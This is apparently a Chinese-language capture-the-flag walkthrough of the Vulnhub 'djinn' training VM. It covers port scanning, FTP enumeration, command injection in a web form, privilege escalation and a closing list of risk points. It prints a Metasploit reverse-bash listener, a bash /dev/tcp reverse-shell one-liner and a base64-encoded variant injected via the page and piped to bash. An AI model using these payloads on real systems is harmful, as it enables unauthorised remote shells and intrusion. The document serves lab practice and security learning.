Vulnhub:djinn
一、前言
通过大量vulnhub受控靶机积累一线攻防经验和技巧。
二、环境
靶机名称:djinn
靶机难度:初学者/中级
目标:有两个flag,user.txt and root.txt
攻击机:kali linux,IP地址192.168.101.72
靶机:os-bytesec,IP地址192.168.101.156
三、挑战过程

1.扫描IP提供的IT服务——
nmap -v -A -sV -T4 -p 1-65535 192.168.101.156

ftp服务探索

貌似是一些登录凭据

可能有机会拿反弹shell

web目录爆破


根据文章提示,wish这里有命令注入点



监听准备——
msfconsole
use exploit/multi/handler
set payload cmd/unix/reverse_bash
set lhost 192.168.101.72
set lport 4444
exploit

准备个反弹shell命令——
bash -i >& /dev/tcp/192.168.101.72/4444 0>&1
转成base64编码——
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMS43Mi80NDQ0IDA+JjE=

在页面输入框中提交——
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMS43Mi80NDQ0IDA+JjE= | base64 -d | bash
拿到反弹shell,不是root,需要提权,先转成交互式shell——
python -c 'import pty; pty.spawn("/bin/bash")'
在/home/nitish/.dev下发现用户名密码文件

获取user.txt flag

sudo提权-因管理员配置不当

获取root flag

四、总结
风险点:
1.ftp未授权访问
2.web os命令注入点
3.明文密码存储服务器
4.sudo权限配置滥用
五、疑问点
1.【high】web OS命令注入点如何判断?已解决【20220106】,看漏了,用burp看能更精准把握细节,确实是命令注入。
2.【median】num的猜解太随意,应该是写个脚本自动化爆破尝试
参考链接
1.http://www.hackdig.com/04/hack-314667.htm